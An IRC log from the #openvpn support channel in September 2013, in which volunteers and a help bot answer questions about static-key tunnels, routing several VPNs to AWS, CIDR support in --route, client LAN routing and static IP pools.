18:41 -!- Perun_ [perun@chao5.net] has quit [Ping timeout: 264 seconds]
18:42 -!- Perun [perun@chao5.net] has joined #openvpn
18:45 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
18:45 -!- mode/#openvpn [+o mattock] by ChanServ
18:54 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
18:55 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
18:55 -!- mode/#openvpn [+v s7r] by ChanServ
18:59 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....]
18:59 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in]
19:00 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
19:00 -!- mode/#openvpn [+o raidz] by ChanServ
19:00 -!- mattock [~mattock@raidz.im] has joined #openvpn
19:00 -!- mattock [~mattock@raidz.im] has quit [Changing host]
19:00 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
19:00 -!- mode/#openvpn [+o mattock] by ChanServ
19:04 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Read error: Connection reset by peer]
19:04 -!- roentgen [~irc@rds.psw.ro] has joined #openvpn
19:04 -!- roentgen [~irc@rds.psw.ro] has quit [Changing host]
19:04 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
19:37 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
19:40 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:51 < Skapare> rob0: by "mode" I was referring to "many modes" referred to by the documentation, which did not seem to go into enough detail to let me match up my circumstances to descriptions ... but someone outside of IRC suggested I try the simple shared key static config, which seems really simple enough
19:51 <+pekster> !static
19:51 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
19:51 <+pekster> Erm, not that
19:52 <+pekster> This:
19:52 <+pekster> !statickey
19:52 <@vpnHelper> "statickey" is (#1) you can use static keys by using --secret </path/to/key> or (#2) static keys only work for ptp links, not client/server. They also do not provide forward encryption. A forward-secure encryption scheme (such as openvpn uses with certs) protects secret keys from exposure by evolving the keys with time. or (#3) see !forwardsecurity for more info
19:52 < Skapare> rob0: one machine has no public IP because of NAT ... others have public IPs ... so as long as I can have that one machine doing the connection initiation, it should be good
19:53 < Skapare> pekster: that sounds like "shared key" ... or am I misunderstanding that?
19:53 <+pekster> Yes, same thing
19:53 < Skapare> ok, thought it was same, curious why different terminology
19:54 <+pekster> You can easily have your internal NAT client (presumably behind a NAT you cannot control forwarding for) act as a TLS client to a P2MP server
19:54 <+pekster> That gives you the security advantages of a TLS (certificate-protected) mode of operation while still being "NAT-friendly" for your clients
19:54 <+pekster> You can actually use the p2p topology with TLS too if you'd like
19:55 < Skapare> the machine I want to be the openvpn client can connect TCP to each machines I want to make a tunnel to (all these are AWS instances with EIP)
19:55 <+pekster> UDP is preferred (due to the classic TCP-over-TCP issues) but OpenVPN suppports TCP as a transport too
19:56 < Skapare> that does not mean I necessarily want the tunnel to use TCP ... just saying I know I can make a TCP connection ... hopefully UDP will work, too
19:57 < Skapare> hows the SCTP support?  hopefully it works inside the tunnel
19:57 < Skapare> I did not see any mention in docs of SCTP support to transport the tunnel
19:58 <+pekster> Not as the tunnel transport, no, but openvpn will happily encapsulate SCTP within the tunnel for you if that's what you wanted
19:59 <+pekster> With tun devices, OpenVPN operates at the IP layer (OSI L3) and can handle any L4 protocol (standardized or not) you wish to send across it
19:59 < Skapare> what about IPv6 ?
20:00 <+pekster> As of 2.3.0 and above OpenVPN can transport dual-stack v4/v6 fine, and listen on either v4 or v6 as the transport
20:00 <+pekster> As present you cannot bind dual-stack, though nothing stops you from running multiple instances to support this. Such dual-stack bind support is something we're working to add
20:02 <+pekster> (of course, across the inside tunnel you can run whatever dual-stack connectivity you wish; this applies only to the tunnel itself)
20:05 -!- raidz is now known as raidz_away
20:11 < Skapare> that would be sufficient for me ... my home doesn't have IPv6 from the ISP yet
20:12 <+pekster> An IPv6 broker can fix that. The top 2 are tunnelbroker.net or sixxs.net
20:12 < Skapare> my server has IPv6 and my LAN at home has IPv6 so I just want to connect those ... doing it over v4 is fine
20:12 < Skapare> I have done it with "ssh -w" and that worked
20:13 < Skapare> but for the moment, I'm setting up some VPNs from the office to our VPCs in AWS
20:13 < Skapare> no v6 in that at all
20:14 <+pekster> You've best off with IPv4 transport then, unless you plan to run multiple openvpn instances supporting both
20:14 < Skapare> the office machine is behind a NAT w/o any forwarding to connect inward to that machine .. so it will be the initiator of the tunnels
20:17 < Skapare> the kernel on that machine lacks IPv6 and SCTP ... so we're not doing any of that ... we might on our web site (also in AWS) but their ELB that fronts the web servers does support IPv6 ... if any web stuff goes over the tunnels, it would be a 2nd connection in IPv4
20:18 < Skapare> so since my initial question here had a "yes" answer, I think I am good to go once I relaunch the AWS instances to use a new AMI where I added openvpn
20:18 <+pekster> You can send IPv6 packet across an OpenVPN tunnel that's maintained over IPv4 just fine
20:18 < Skapare> yes ... but that will be in my home project
20:18 <+pekster> (this is how I get IPv6 access when I'm "mobile in the world" using my own OpenVPN connection)
20:19 < Skapare> and eventually I'll do it on Android I'm sure
20:19 <+pekster> FYI,
20:19 <+pekster> !android
20:19 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
20:22 < Skapare> thanks for answering the question ... and other info
20:23 <+pekster> Sure
20:23 < Skapare> I'll hang for a while to see what the community chats about ... but afk for now
20:39 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
20:42 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
20:45 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
20:45 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Max SendQ exceeded]
20:46 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
20:47 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Client Quit]
21:26 < Skapare> looks like CentOS 6 has version 2.3.2
21:46 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
21:49 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 246 seconds]
21:59 -!- mikko [~mikko@211.24.39.87] has joined #openvpn
22:23 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 245 seconds]
22:40 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
23:12 -!- muh-die-kuh [~hco@bronx.lab9.de] has quit [Ping timeout: 246 seconds]
23:13 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 246 seconds]
23:13 -!- muh-die-kuh [~hco@bronx.lab9.de] has joined #openvpn
23:23 -!- mikko [~mikko@211.24.39.87] has quit [Ping timeout: 256 seconds]
23:29 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
23:29 -!- mikko [~mikko@211.24.39.87] has joined #openvpn
--- Day changed Wed Sep 11 2013
00:13 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:16 -!- Neozonz|Discx2 [~Neozonz@unaffiliated/neozonz] has quit [Read error: Connection reset by peer]
00:16 -!- Neozonz|Discx2 [~Neozonz@198-84-245-103.cpe.teksavvy.com] has joined #openvpn
00:16 -!- Neozonz|Discx2 [~Neozonz@198-84-245-103.cpe.teksavvy.com] has quit [Changing host]
00:16 -!- Neozonz|Discx2 [~Neozonz@unaffiliated/neozonz] has joined #openvpn
00:25 -!- Roelke_ [~Roelke@hostserv.nl] has joined #openvpn
00:26 -!- Roelke [~Roelke@hostserv.nl] has quit [Ping timeout: 245 seconds]
00:38 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Quit: Leaving]
00:43 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
00:46 -!- vraa__ [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 246 seconds]
00:54 -!- Linmu [~Linmu@203.70.194.104] has quit [Quit: leaving]
00:54 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
00:55 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
00:56 -!- mattock is now known as mattock_afk
00:59 -!- Diffen [~diffen@h-73-135.a219.corp.bahnhof.se] has joined #openvpn
00:59 -!- Diffen [~diffen@h-73-135.a219.corp.bahnhof.se] has quit [Client Quit]
01:13 -!- aknm [~aknm@unaffiliated/aknm] has joined #openvpn
01:15 -!- aknm is now known as monk
01:16 -!- eval- [~stephan@pool-100-1-110-92.nwrknj.fios.verizon.net] has quit [Ping timeout: 256 seconds]
01:17 -!- eval- [~stephan@pool-100-1-110-92.nwrknj.fios.verizon.net] has joined #openvpn
01:18 -!- Diffen [~diffen@h-73-135.a219.corp.bahnhof.se] has joined #openvpn
01:21 -!- Diffen [~diffen@h-73-135.a219.corp.bahnhof.se] has quit [Client Quit]
01:27 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
01:30 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 245 seconds]
01:33 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
01:33 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
01:33 -!- mode/#openvpn [+v s7r] by ChanServ
01:34 -!- Diffen [~diffen@h-73-135.a219.corp.bahnhof.se] has joined #openvpn
01:35 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:38 -!- Diffen [~diffen@h-73-135.a219.corp.bahnhof.se] has quit [Client Quit]
01:49 -!- tharkun [~0@187.188.94.182] has joined #openvpn
01:52 -!- wallbroken [~wallbroke@151.56.231.100] has quit [Ping timeout: 276 seconds]
02:01 -!- thumbs [~avenger@unaffiliated/thumbs] has quit [Ping timeout: 248 seconds]
02:03 -!- thumbs [~avenger@modemcable137.138-81-70.mc.videotron.ca] has joined #openvpn
02:03 -!- thumbs [~avenger@modemcable137.138-81-70.mc.videotron.ca] has quit [Changing host]
02:03 -!- thumbs [~avenger@unaffiliated/thumbs] has joined #openvpn
02:26 -!- ichtys [~midacts@207.59.77.254] has joined #openvpn
02:27 -!- dougy[work] [~dougwork@static-98-109-158-66.nwrknj.fios.verizon.net] has quit []
02:37 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
02:38 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
02:38 -!- mode/#openvpn [+v s7r] by ChanServ
02:43 -!- Diffen [~diffen@h-73-135.a219.corp.bahnhof.se] has joined #openvpn
02:44 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
03:06 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
03:07 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
03:07 -!- mode/#openvpn [+v s7r] by ChanServ
03:08 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
03:12 -!- mattock_afk is now known as mattock
03:18 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has quit [Ping timeout: 260 seconds]
03:20 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
03:37 -!- eval- [~stephan@pool-100-1-110-92.nwrknj.fios.verizon.net] has quit [Ping timeout: 264 seconds]
03:39 -!- eval- [~stephan@pool-100-1-110-92.nwrknj.fios.verizon.net] has joined #openvpn
03:53 -!- xbanux [~xbanux@115.254.75.113] has joined #openvpn
04:04 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has joined #openvpn
04:09 -!- xbanux [~xbanux@115.254.75.113] has quit []
04:21 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
05:23 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
05:41 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
05:42 -!- mikko [~mikko@211.24.39.87] has quit [Ping timeout: 246 seconds]
05:43 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
05:46 -!- wallbroken [~wallbroke@151.56.231.100] has joined #openvpn
05:57 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:18 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
06:30 -!- fischli [~fischli@data.fischer-ing.de] has left #openvpn []
06:39 -!- mikko [~mikko@209.99.57.157] has joined #openvpn
06:50 -!- mikko [~mikko@209.99.57.157] has quit [Ping timeout: 245 seconds]
06:51 -!- mikko [~mikko@211.24.14.102] has joined #openvpn
06:57 -!- wallbroken [~wallbroke@151.56.231.100] has quit [Ping timeout: 240 seconds]
07:21 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
07:36 -!- klein [~klein@189.16.168.37] has joined #openvpn
07:36 -!- klein [~klein@189.16.168.37] has quit [Changing host]
07:36 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:42 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:02 -!- fischli [~fischli@data.fischer-ing.de] has left #openvpn []
08:02 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
08:03 -!- fischli [~fischli@data.fischer-ing.de] has left #openvpn []
08:05 -!- Xentinel [~Xentinel@188.183.143.105] has joined #openvpn
08:06 < Xentinel> quick question, when pushing a subnet from a client to a server, does it have to be defined also in the config of the client, as well as the server?
08:06 <@ecrist> no, just the server
08:06 <@ecrist> the client needs to permit the routing, though.
08:06 < Xentinel> oooh right... ip forwarding
08:07 < Xentinel> thanks
08:07 <@ecrist> no problem.
08:08 -!- klein [~klein@unaffiliated/klein] has quit [Read error: Connection reset by peer]
08:10 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
08:17 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 248 seconds]
08:20 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:21 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
08:22 -!- klein [~klein@unaffiliated/klein] has quit [Read error: Connection reset by peer]
08:26 -!- klein [~klein@189.26.127.133] has joined #openvpn
08:26 -!- klein [~klein@189.26.127.133] has quit [Changing host]
08:26 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
08:27 -!- klein [~klein@unaffiliated/klein] has quit [Remote host closed the connection]
08:28 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
08:32 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 256 seconds]
08:38 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
08:46 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
08:54 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 264 seconds]
08:54 -!- mikko [~mikko@211.24.14.102] has quit [Ping timeout: 240 seconds]
08:57 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:05 -!- xiu [~xiu@78.193.79.120] has left #openvpn ["WeeChat 0.4.1"]
09:15 -!- mikko [~mikko@209.99.57.163] has joined #openvpn
09:27 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 246 seconds]
09:31 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 256 seconds]
09:31 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has joined #openvpn
09:35 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
09:37 -!- takamichi [~takamichi@141.255.164.94] has joined #openvpn
09:41 -!- dimitry7 [~antonello@38.124.174.31] has joined #openvpn
09:42 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
09:46 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
09:49 <@krzee> !clientlan
09:49 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
09:49 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
09:50 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
09:51 -!- Denial [Denial@05417302.skybroadband.com] has quit []
10:01 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 260 seconds]
10:03 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
10:03 -!- SentryAB [~Xentinel@188.183.143.105] has joined #openvpn
10:04 -!- SentryAB [~Xentinel@188.183.143.105] has quit [Client Quit]
10:05 -!- mikko [~mikko@209.99.57.163] has quit [Ping timeout: 256 seconds]
10:06 -!- Xentinel [~Xentinel@188.183.143.105] has quit [Ping timeout: 276 seconds]
10:06 -!- mikko [~mikko@211.24.14.102] has joined #openvpn
10:09 -!- takamichi [~takamichi@141.255.164.94] has quit [Ping timeout: 248 seconds]
10:11 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:14 < Skapare> I am going to be running multiple vpns (static key) from the client machine to a few different servers ... how can I be sure the correct IP subnets are routed via the correct vpn tunnel? ... do I need to put these routes in the openvpn config files? ... or do I need to apply the routes via specific interfaces and assign interfaces (tun0 vs tun1 vs tun2) in the config files?
10:15 < Skapare> for example 172.16.0.0/16 goes to server/vpn 1 and 172.17.0.0/16 goes to server/vpn 2
10:15 <+pekster> Skapare, if you have openvpn manage the routes with --route directives (or optionally push them if you decide to use a TLS mode) openvpn adds the route automatically using the VPN interface and routes it via the VPN peer
10:16 <+pekster> That's the entire point of --route
10:16 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 260 seconds]
10:17 <+pekster> You're also free to "do it yourself" if you have exotic needs: see !scripts for script hooks; often the --route-up hook lets you deal with some advanced needs in this way
10:17 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:18 -!- tjz [~tjz@unaffiliated/tjz] has quit [Read error: Connection reset by peer]
10:23 < Skapare> so --route in the config will add an entry in the route table of the local machine and use the correct interface?
10:24 <+pekster> Yup
10:24 < Skapare> and the remote's inside IP
10:24 <+pekster> (and the correct IP of the VPN peer, as defined in the --route manpage entry)
10:24 <+pekster> Exactly
10:24 < Skapare> I can't see the manpage atm because the old tunnel we are using is frozen again
10:25 <+pekster> !man
10:25 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
10:25 <+pekster> You can also download the source tarball and the manpage is in there, viewable in any manpage viewer
10:25 < Skapare> ok ... I got called to a meeting for work so I have to suspend working on this for a while
10:26 -!- dimitry7 [~antonello@38.124.174.31] has quit [Read error: No route to host]
10:26 < Skapare> the "old technology" is a bunch of Cisco 55xx routers that are quite unreliable
10:26 -!- raidz_away is now known as raidz
10:27 < Skapare> they are doing IPsec tunnels (should work, but theirs don't)
10:35 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:57 -!- ichtys [~midacts@207.59.77.254] has left #openvpn []
11:03 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
11:06 <@ecrist> !logs
11:06 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
11:06 <@ecrist> !logfile
11:06 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
11:06 <@ecrist> !configs
11:06 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
11:07 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 276 seconds]
11:09 -!- MariusIT [~MariusIT@86.120.254.61] has joined #openvpn
11:12 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:26 -!- monsbeat [~mons@93.69.196.8] has joined #openvpn
11:28 -!- monsbeat [~mons@93.69.196.8] has quit [Client Quit]
11:47 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:55 -!- Diffen [~diffen@h-73-135.a219.corp.bahnhof.se] has quit [Quit: This computer has gone to sleep]
12:13 -!- Probeus [probeus@probeus.no] has joined #openvpn
12:14 < Probeus> does openvpn enable an firewall?
12:15 <+pekster> Probeus: Not in the sense you mean; configure your OS to firewall as your needs require. OpenVPN will prevent clients from "spoofing" IPs of other clients; for LANs behind clients, you need to use --iroute to explicitly allow this (see !clientlan for implementation details there)
12:15 < Probeus> !clientlan
12:15 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
12:15 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
12:16 <+pekster> Of note might also be the --client-to-client option that explicitly does _not_ route traffic from one client to another through the OS stack and will effectively bypass such an OS firewall for this traffic; this is not enabled by default
12:17 < Probeus> My problem is that i want to connect directly to the machines external IP and not the VPN external IP. So it is a common problem?
12:20 < rob0> uh, it is a poorly described problem.
12:20 < Probeus> Yeah..
12:20 < Probeus> But ill try ip-forward before i bug you guys more :)
12:22 <+pekster> It's hard to say since you've described your problem very poorly; it sounds like you might be runing into asymmetric routing issues with a dual-homed setup (when doing --redirect-gateway for instance) but that's a wild guess
12:22 < rob0> Self help is a good thing. :)
12:26 < Probeus> Ok. didnt work. Heres the problem: I have a headless machine (Debian server) wich i am installing openvpn to route traffic to an server in netherland (proxy). However i want to connect to the headless machine (ssh). Lets say the Machines external address is A.A.A.A, and the netherland IP is X.X.X.X. I want to connect to A.A.A.A.
12:27 < Skapare> can the route command use CIDR format like:  route 172.17.64.0/18 100.100.73.6 1
12:27 < Skapare> or must I use the old netmask form?
12:27 < Probeus> Unsure. I am using PrivateInternetAccess.com's VPN-service
12:28 < Skapare> I'm trying to make a machine operate as multiple clients to several AWS gateways
12:28 < Skapare> it would be a bit easier to autogenerate the configs since CIDR format is available
12:29 -!- mikko [~mikko@211.24.14.102] has quit [Ping timeout: 245 seconds]
12:29 < Skapare> if it passes the route commands to "ip route add" then it should work
12:31 <+pekster> Skapare: openvpn's --route command requires the netmask in dot-quad notation
12:31 <+pekster> Though a patch to support CIDR would probably be quite welcomed on the -devel mailing list
12:33 <+pekster> Probeus: We don't generally support providers. Your problem is exactly as my wild-guess was, and the fix is non-trivial since you "don't know in advance" all possible places an external request to your "ssh service" (or whatever) will come from. It's called Policy Routing, and if you're on Linux, the LARTC howto has info on the subject in Ch. 4, though you probably need to review the basics in earlier chapters if you're not familiar ...
12:33 <+pekster> ... with advanced networking and routing on Linux
12:33 <+pekster> !lartc
12:33 <@vpnHelper> "lartc" is LARTC is the de-facto guide to policy routing and QoS (tc, or traffic control) on Linux. http://lartc.org/howto/ . Policy routing in Ch. 4, QoS in Ch. 9. Start at the beginning if you're new to advanced routing on Linux
12:35 -!- monsbeat [~mons@176.242.108.243] has joined #openvpn
12:35 < Skapare> pekster: thanks ... maybe I'll get into doing something like that (if it is in C)
12:35 <+pekster> Skapare: The more backend issue is that --route is merely a frontend to multiple OSes and multiple bacnend methods. Obviously Windows or BSD doesn't support "ip", so it's all an abstraction. This said, a patch would be translating the user-input (or what the server pushed) into the structure holding the route info
12:36 <+pekster> It's a useful feature, but "no one has written it yet" ;)
12:36 < Skapare> then the other way it to detect that it is CIDR form, parse it as such, and just convert to what parsing of netwmask would have done
12:36 < Skapare> e.g. that would be what the patch would do
12:37 -!- monsbeat [~mons@176.242.108.243] has quit [Client Quit]
12:38 <+pekster> Right, though it gets a little tricky since there are multiple arguments to --route if you're smashing the IP with the CIDR mask as traditional, like 10.8.0.0/24. That's mostly an implementation thing though
12:38 <+pekster> The values are presented in options.c as array elements, so the command is in p[0], first (potentially optional) argument in p[1], etc
12:38 < Skapare> my "client" machine (is a server on the LAN, but it is where the tunnels are initiated since it has no firewall paths inward to it, and never will) will have many VVPNs to many VPCs over at AWS ... each with distinct IP addresses so routing should be straight forward
12:39 <+pekster> Plus supporting IPv6 cleanly would be desirable for a clean solution
12:39 < Skapare> well, I can do netmasks anyway ... just preferred CIDR ... so I'll just convert
12:39 <+pekster> Hey, either way. Don't let me talk you out of making OpenVPN CIDR-aware ;)
12:40 <+pekster> But yea, that's probably the reason no one has spent the time on it yet
12:40 < Skapare> this AWS stuff won't need any IPv6 ... AWS does not support it internally ... the only IPv6 in AWS is in their ELB service that front ends wab servers
12:40 < Skapare> web
12:41 < Skapare> I'm hand coding configs now to test a couple of them ... later scripts will do it so people can add new VPCs at AWS and our AWS scanner will automatically create the new tunnel config
12:49 < Skapare> oh good ... both afternoon meetings canceled ... I can work on openvpn stuff more
12:54 <@krzee> !cidr
12:54 <@vpnHelper> "cidr" is http://www.oav.net/mirrors/cidr.html
12:56 -!- Diffen [~diffen@c-2ec20e15-74736162.cust.telenor.se] has joined #openvpn
13:03 -!- Diffen [~diffen@c-2ec20e15-74736162.cust.telenor.se] has quit [Quit: This computer has gone to sleep]
13:11 -!- Diffen [~diffen@c-2ec20e15-74736162.cust.telenor.se] has joined #openvpn
13:15 -!- Diffen [~diffen@c-2ec20e15-74736162.cust.telenor.se] has quit [Client Quit]
13:18 -!- Diffen [~diffen@c-2ec20e15-74736162.cust.telenor.se] has joined #openvpn
13:27 -!- Diffen [~diffen@c-2ec20e15-74736162.cust.telenor.se] has quit [Quit: This computer has gone to sleep]
13:36 -!- Diffen [~diffen@46.194.14.21] has joined #openvpn
13:36 -!- Mayumi [~ircuser@unaffiliated/mayumi] has joined #openvpn
13:36 < Mayumi> hi
13:37 < Mayumi> so openvpn connect for android i get "no certificates found" after importing my ovpn file
13:37 < Mayumi> it works fine using a 3rd party app though?
13:37 -!- grendal-prime [~sgraham@173-166-255-77-stockton.hfc.comcastbusiness.net] has joined #openvpn
13:37 <+pekster> !android
13:37 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
13:38 < Mayumi> um, i installed "OpenVPN Connect" from the play store
13:38 <+pekster> For help with "Connect" or "Access Server" products, use their support
13:38 <+pekster> !as
13:38 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
13:38 < grendal-prime> hey  guys...is there a way to remove ip addresses from the available pool?  Im pushing ips to some of the users and..well the server is also assiging them.
13:38 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:38 <+pekster> This channel is not able to help with the use of non-OpenVPN solutions
13:39 <+pekster> grendal-prime: Right, reduce your pool range when you do that. See:
13:39 <+pekster> !static
13:39 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
13:39 <+pekster> #4 there
13:39 < Mayumi> this channel is utterlty useless aparently
13:40 <+pekster> Mayumi: You're using a product that is not produced by the community, then expecting the open-source community to help you with it? Interesting statement
13:40 < Mayumi> !troll
13:40 -!- Mayumi [~ircuser@unaffiliated/mayumi] has left #openvpn []
13:40 < grendal-prime> thanks pekster
13:44 < Skapare> since I'm doing this testing on live production systems, I need to be careful about things ... does this look route for a couple test vpns ... http://bpaste.net/show/TGfXAdEngvssoG37aCOt/
13:46 < Skapare> look route = look right
13:46 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
13:46  * Skapare wonders why he would type "route" for "right"
13:46 < grendal-prime> doing alot of routing these days maybe?
